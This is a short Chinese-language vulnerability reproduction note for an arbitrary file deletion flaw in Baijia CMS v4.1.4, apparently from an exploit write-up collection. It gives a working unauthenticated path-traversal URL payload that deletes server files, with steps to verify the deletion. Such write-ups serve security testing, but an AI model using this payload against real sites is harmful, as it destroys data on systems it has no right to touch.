001-百家cms v4.1.4 任意文件删除漏洞.md

660 B / 2021-07-17 00:01:22

    # 百家cms v4.1.4 任意文件删除漏洞

### 一、漏洞简介

### 二、漏洞影响

百家cms v4.1.4

### 三、复现过程


```bash
# payload
# 不需要后台权限
# 只能删除文件，不能删除文件夹

http:/url/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt
```

设置里需要选择本地，否则删除的不是本地文件

![](images/15896946099454.png)


先在根目录下创建qwe.txt作为测试文件

![](images/15896946169392.png)


访问payload

![](images/15896946247749.png)


查看文件，已经被删除

![](images/15896946318099.png)


参考链接

https://xz.aliyun.com/t/7542